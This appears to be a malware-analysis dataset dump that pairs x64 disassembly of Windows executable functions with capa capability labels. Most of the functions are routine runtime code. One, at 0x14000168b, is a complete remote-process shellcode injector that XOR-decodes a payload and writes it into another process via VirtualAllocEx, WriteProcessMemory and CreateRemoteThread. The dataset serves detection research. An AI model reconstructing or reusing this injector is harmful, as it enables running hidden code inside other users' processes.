joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b5b0
Capabilities:
Read file on windows

Disassembly:
mov r11, rsp
sub rsp, 0x68
mov rcx, qword [rcx + 8]
xor eax, eax
xor r10d, r10d
mov qword [r11 - 0x28], r10
mov qword [r11 - 0x30], r9
mov dword [r11 - 0x38], r8d
mov qword [r11 - 0x40], rdx
mov dword [r11 - 0x18], r10d
mov dword [rsp + 0x54], eax
mov qword [r11 - 0x10], rax
lea rax, [r11 - 0x18]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [r11 - 0x48], rax
call qword [sym.imp.ntdll.dll_ZwReadFile]
add rsp, 0x68
ret

Function at 0x14000b600
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
sub rsp, 0x68
mov rcx, qword [rcx + 8]
xor eax, eax
xor r10d, r10d
mov qword [r11 - 0x28], r10
mov qword [r11 - 0x30], r9
mov dword [r11 - 0x38], r8d
mov qword [r11 - 0x40], rdx
mov dword [r11 - 0x18], r10d
mov dword [rsp + 0x54], eax
mov qword [r11 - 0x10], rax
lea rax, [r11 - 0x18]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [r11 - 0x48], rax
call qword [sym.imp.ntdll.dll_ZwWriteFile]
add rsp, 0x68
ret

Function at 0x14000b710
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push rbx
sub rsp, 0x890
mov rax, qword [0x14003b510]
xor rax, rsp
mov qword [rsp + 0x880], rax
mov rbx, rcx
mov rcx, qword [rcx + 8]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
mov r9d, 0x410
mov dword [rsp + 0x20], 9
call qword [sym.imp.ntdll.dll_NtQueryInformationFile]
test eax, eax
jne 0x14000b822
mov byte [rsp + 0x450], al
xor eax, eax
mov qword [rsp + 0x458], rax
mov dword [rsp + 0x460], eax
mov eax, dword [rsp + 0x40]
add eax, 0xfffffffe
lea r8, [rsp + rax + 0x44]
lea rax, [rsp + 0x44]
cmp r8, rax
jb 0x14000b7bf
movzx eax, word [r8]
cmp ax, 0x5c
je 0x14000b7c6
movzx ecx, ax
mov eax, 0x66666667
sub r8, 2
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
lea rax, [rsp + 0x44]
add cx, 0x41
mov word [r8 + 2], cx
cmp r8, rax
jae 0x14000b786
cmp word [r8], 0x5c
jne 0x14000b7ca
add r8, 2
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x464]
lea rdx, [rsp + rax + 0x44]
cmp r8, rdx
jae 0x14000b7fd
movzx eax, word [r8]
add r8, 2
add rcx, 2
mov word [rcx - 2], ax
add dword [rsp + 0x460], 2
cmp r8, rdx
jb 0x14000b7e0
mov rcx, qword [rbx + 8]
lea r8, [rsp + 0x450]
lea rdx, [rsp + 0x30]
mov r9d, 0x428
mov dword [rsp + 0x20], 0xa
call qword [sym.imp.ntdll.dll_NtSetInformationFile]
mov rcx, qword [rsp + 0x880]
xor rcx, rsp
call fcn.140015ba0
add rsp, 0x890
pop rbx
ret

Function at 0x14000b890
Capabilities:
Set file attributes

Disassembly:
sub rsp, 0x48
mov rcx, qword [rcx + 8]
xor eax, eax
lea r8, [rsp + 0x50]
mov dword [rsp + 0x34], eax
mov qword [rsp + 0x38], rax
mov rax, qword [rdx]
lea rdx, [rsp + 0x30]
mov r9d, 8
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x20], 0x14
call qword [sym.imp.ntdll.dll_ZwSetInformationFile]
add rsp, 0x48
ret
Function at 0x14000b8f0
Capabilities:
Get file attributes

Disassembly:
push rbx
sub rsp, 0x40
mov rcx, qword [rcx + 8]
xor eax, eax
mov rbx, rdx
xor edx, edx
lea r8, [rsp + 0x50]
mov dword [rsp + 0x20], 0xe
lea r9d, [rdx + 8]
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x50], edx
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x34], eax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x54], eax
call qword [sym.imp.ntdll.dll_ZwQueryInformationFile]
mov r11, qword [rsp + 0x50]
mov qword [rbx], r11
add rsp, 0x40
pop rbx
ret

Function at 0x14000be90
Capabilities:
Hash data using crc32b

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
xor ebx, ebx
or r8d, 0xffffffff
mov rsi, rcx
movsxd rdi, edx
mov r11, rbx
test edx, edx
jle 0x14000bf22
nop word [rax + rax]
movzx r9d, byte [r11 + rsi]
mov r10d, ebx
xor dl, dl
nop word [rax + rax]
test r9b, 1
je 0x14000beea
movzx eax, dl
mov ecx, 7
sub ecx, eax
mov eax, 1
shl eax, cl
or r10d, eax
inc dl
shr r9d, 1
cmp dl, 8
jb 0x14000bed0
movzx eax, r10b
shl eax, 0x18
xor r8d, eax
mov al, 8
bt r8d, 0x1f
jae 0x14000bf13
add r8d, r8d
xor r8d, 0x4c11db7
jmp 0x14000bf16
add r8d, r8d
add al, 0xff
jne 0x14000bf00
inc r11
cmp r11, rdi
jl 0x14000bec0
xor r9b, r9b
test r8b, 1
je 0x14000bf3f
movzx eax, r9b
mov ecx, 0x1f
mov edx, 1
sub ecx, eax
shl edx, cl
or ebx, edx
inc r9b
shr r8d, 1
cmp r9b, 0x20
jb 0x14000bf25
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
not ebx
mov eax, ebx
mov rbx, qword [rsp + 8]
ret
Function at 0x1400117b9
Capabilities:
Encode data using xor

Disassembly:
test r9d, r9d
je 0x1400118ee
mov r11, rsp
push rbx
push rbp
push rdi
push r13
push r14
sub rsp, 0x80
mov rax, qword [0x14003b510]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov qword [r11 - 0x30], rsi
mov qword [r11 - 0x38], r12
mov r12d, dword [rcx]
mov rdi, rdx
mov edx, dword [rsp + 0xd0]
shl r12d, 2
mov ebp, r9d
mov rbx, r8
mov r13, rcx
test edx, edx
je 0x1400118ac
cmp edx, 1
jne 0x1400118c9
xor eax, eax
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov qword [r11 - 0x80], rax
mov qword [r11 - 0x78], rax
mov qword [r11 - 0x70], rax
mov qword [r11 - 0x68], rax
mov qword [r11 - 0x60], rax
mov qword [r11 - 0x58], rax
mov qword [r11 - 0x50], rax
call fcn.14000ca60
test r12d, r12d
je 0x140011862
lea rcx, [rsp + 0x20]
mov edx, r12d
nop word [rax + rax]
movzx eax, byte [rcx]
inc rbx
inc rcx
xor byte [rbx - 1], al
sub rdx, 1
jne 0x140011850
mov esi, r12d
movsxd r14, r12d
add rdi, rsi
add ebp, 0xffffffff
je 0x1400118c9
mov r8, rbx
mov rdx, rdi
mov rcx, r13
call fcn.14000ca60
test r12d, r12d
je 0x1400118a2
mov rcx, rdi
mov rdx, rsi
sub rcx, r14
nop dword [rax]
movzx eax, byte [rcx]
inc rbx
inc rcx
xor byte [rbx - 1], al
sub rdx, 1
jne 0x140011890
add rdi, rsi
add ebp, 0xffffffff
jne 0x140011870
jmp 0x1400118c9
mov esi, r12d
nop
mov r8, rbx
mov rdx, rdi
mov rcx, r13
call fcn.14000ca60
add rdi, rsi
add rbx, rsi
add ebp, 0xffffffff
jne 0x1400118b0
mov rsi, qword [rsp + 0x78]
mov r12, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140015ba0
add rsp, 0x80
pop r14
pop r13
pop rdi
pop rbp
pop rbx
repz ret
Function at 0x14001caeb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14003b510]
jne 0x140015bba
rol rcx, 0x10
test cx, 0xffff
jne 0x140015bb6
repz ret
ror rcx, 0x10
jmp 0x14001ca44
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140041800]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov r11, qword [0x1400418f8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.ntdll.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001cac9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140041800]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.ntdll.dll_RtlVirtualUnwind
jmp 0x14001caeb
mov rax, qword [rsp + 0x88]
mov qword [0x1400418f8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140041898], rax
mov rax, qword [0x1400418f8]
mov qword [0x140041770], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140041880], rax
mov dword [0x140041760], 0xc0000409
mov dword [0x140041764], 1
mov rax, qword [0x14003b510]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14003b518]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400417f8], eax
mov ecx, 1
call fcn.14001f828
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140031ad8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400417f8], 0
jne 0x14001cb72
mov ecx, 1
call fcn.14001f828
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14001dc4c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140023364
nop
cmp dword [0x140041d68], 1
je 0x14001dbf8
mov dword [0x140041d64], 1
mov byte [0x140041d60], r12b
test ebx, ebx
jne 0x14001dbe4
mov rcx, qword [0x140042950]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14001dbd1
mov rcx, qword [0x140042948]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x14001db70
call fcn.14001d3f4
cmp qword [rdi], rax
jne 0x14001db70
jmp 0x14001db56
cmp rdi, rsi
jb 0x14001dbd1
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.14001d3f4
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140042950]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140042948]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14001dbaf
cmp r13, rax
je 0x14001dbcf
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x14001db56
lea rdx, [0x1400304f8]
lea rcx, [0x1400304e0]
call fcn.14001d9a0
lea rdx, [0x140030508]
lea rcx, [0x140030500]
call fcn.14001d9a0
nop
test r12d, r12d
je 0x14001dc07
mov ecx, 8
call fcn.140023264
test r12d, r12d
jne 0x14001dc32
mov dword [0x140041d68], 1
lea ecx, [r12 + 8]
call fcn.140023264
mov ecx, r15d
call fcn.14001d934
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x14001dac0

Function at 0x14001dc58
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14001dac0

Function at 0x14001e7c8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
mov ebx, edx
test rcx, rcx
jne 0x14001e802
call fcn.140019f98
and dword [rax], 0
call fcn.140019f78
and qword [rsp + 0x20], 0
mov ebx, 0x16
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
call fcn.140016744
mov eax, ebx
jmp 0x14001e852
test edx, 0xfffffff9
jne 0x14001e7d5
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14001e82b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140019fb8
call fcn.140019f78
mov eax, dword [rax]
jmp 0x14001e852
test al, 0x10
jne 0x14001e850
test al, 1
je 0x14001e850
test bl, 2
je 0x14001e850
call fcn.140019f98
mov dword [rax], 5
call fcn.140019f78
mov dword [rax], 0xd
jmp 0x14001e822
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x1400279d4
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.14001d3f4
xor ebx, ebx
mov rdi, rax
cmp qword [0x140042510], rbx
jne 0x140027ada
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140027baf
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140027baf
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140042510], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140042518], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140042520], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140042530], rax
test rax, rax
je 0x140027ad1
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140042528], rax
jmp 0x140027ae1
mov rax, qword [0x140042528]
jmp 0x140027ae8
mov rax, qword [0x140042528]
mov r11, qword [0x140042530]
cmp rax, rdi
je 0x140027b50
cmp r11, rdi
je 0x140027b50
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140042530]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140027b50
test rax, rax
je 0x140027b50
call rsi
test rax, rax
je 0x140027b4a
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140027b4a
test byte [rsp + 0x38], 1
jne 0x140027b50
bts ebp, 0x15
jmp 0x140027b8e
mov rcx, qword [0x140042518]
cmp rcx, rdi
je 0x140027b8e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140027b8e
call rax
mov rbx, rax
test rax, rax
je 0x140027b8e
mov rcx, qword [0x140042520]
cmp rcx, rdi
je 0x140027b8e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140027b8e
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140042510]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140027baf
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140027bb1
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1400066c0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x14000f960], rbx
je 0x140006727
cmp rax, rbx
jne 0x14000671a
mov ebx, 1
mov esi, ebx
jmp 0x14000672c
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x1400066ff
mov ebx, 1
mov eax, dword [0x14000f968]
cmp eax, ebx
jne 0x140006744
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x1400067b0
mov eax, dword [0x14000f968]
test eax, eax
jne 0x1400067a5
mov dword [0x14000f968], ebx
lea r15, [0x1400089b8]
lea rdi, [0x1400089a0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x140006797
test eax, eax
jne 0x14000679b
cmp qword [rdi], r14
je 0x14000678c
mov rax, qword [rdi]
mov rcx, qword [0x140008920]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000676e
test eax, eax
je 0x1400067ab
mov eax, 0xff
jmp 0x140006906
mov dword [0x14000d3e4], ebx
mov edi, 0x1f
mov eax, dword [0x14000f968]
cmp eax, ebx
jne 0x1400067d7
lea rdx, [0x140008998]
lea rcx, [0x140008928]
call sub.msvcrt.dll__initterm
mov dword [0x14000f968], 2
test esi, esi
jne 0x1400067e5
mov rax, r14
xchg qword [0x14000f960], rax
cmp qword [0x14000f970], r14
je 0x140006818
lea rcx, [0x14000f970]
call fcn.140006b30
test eax, eax
je 0x140006818
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14000f970]
mov r9, qword [0x140008920]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x140006831
mov eax, 0xff
jmp 0x140006906
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x1400068b7
test ax, ax
je 0x14000684c
test edx, edx
jne 0x1400068b7
sub ax, bx
cmp ax, di
ja 0x140006862
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000684c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400013dc
mov dword [0x14000d3e0], eax
cmp dword [0x14000d400], r14d
jne 0x1400068a0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000d3e4], r14d
jne 0x1400068b5
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000d3e0]
jmp 0x140006906
cmp ax, 0x22
jne 0x1400068cb
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000683a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.1400b7000
add rsp, 0x28
jmp 0x1400066c0
Function at 0x14000168b
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.140001930
cmp dword [rbp + 0x10], 1
jg 0x1400016be
lea rax, str.Por_favor__proporciona_un_ID_de_proceso_vlido_como_argumento._n
mov rcx, rax
call fcn.140007f90
mov eax, 1
jmp 0x14000187a
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sub.msvcrt.dll_atoi
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001711
lea rax, str.Error_al_abrir_el_proceso._n
mov rcx, rax
call fcn.140007f90
mov eax, 1
jmp 0x14000187a
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x114
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x14000175e
lea rax, str.Error_al_asignar_memoria_en_el_proceso_remoto._n
mov rcx, rax
call fcn.140007f90
mov eax, 1
jmp 0x14000187a
mov rax, qword [rbp - 0x18]
mov rdx, rax
lea rax, str.Alloc:_0x_p_n
mov rcx, rax
call fcn.140007f90
lea r8, str.wiwiwiwi
mov edx, 0x114
lea rax, [0x140009020]
mov rcx, rax
call fcn.1400015b1
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov r9d, 0x114
lea r8, [0x140009020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
setne al
test al, al
je 0x1400017da
mov rax, qword [rbp - 0x28]
mov rdx, rax
lea rax, str.WriteProcessMemory:__llu_bytes_n
mov rcx, rax
call fcn.140007f90
jmp 0x1400017e9
lea rax, str.Error_al_escribir_en_la_memoria_del_proceso_remoto._n
mov rcx, rax
call fcn.140007f90
mov rcx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x2c]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
je 0x140001846
mov eax, dword [rbp - 0x2c]
mov edx, eax
lea rax, str.Thread_ID:__u_n
mov rcx, rax
call fcn.140007f90
jmp 0x140001855
lea rax, str.Error_al_crear_un_hilo_remoto._n
mov rcx, rax
call fcn.140007f90
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x70
pop rbp
ret
Function at 0x140001b40
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400078b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400078b0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001bb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e104]
mov rbx, rcx
test esi, esi
jle 0x140001ce0
mov rax, qword [0x14000e108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001bfb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001c85
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001be0
mov rcx, rbx
call fcn.140002600
mov rdi, rax
test rax, rax
je 0x140001d02
mov rax, qword [0x14000e108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002740
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ce7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001c7e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001c90
add dword [0x14000e104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001c7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001b40
nop dword [rax]
xor esi, esi
jmp 0x140001c08
mov rax, qword [0x14000e108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001b40
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001b40
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002270
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e140]
test rbx, rbx
je 0x1400022cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400022c3
test rsi, rsi
je 0x1400022c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400022a8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002600
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a8a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002620
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002628
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002620
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000267d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002674
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002620
add rax, 0x28
cmp rax, r9
jne 0x140002660
xor eax, eax
ret

Function at 0x140002680
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a8a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000269f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400026a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000269f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002740
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a8a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000275f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002768
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret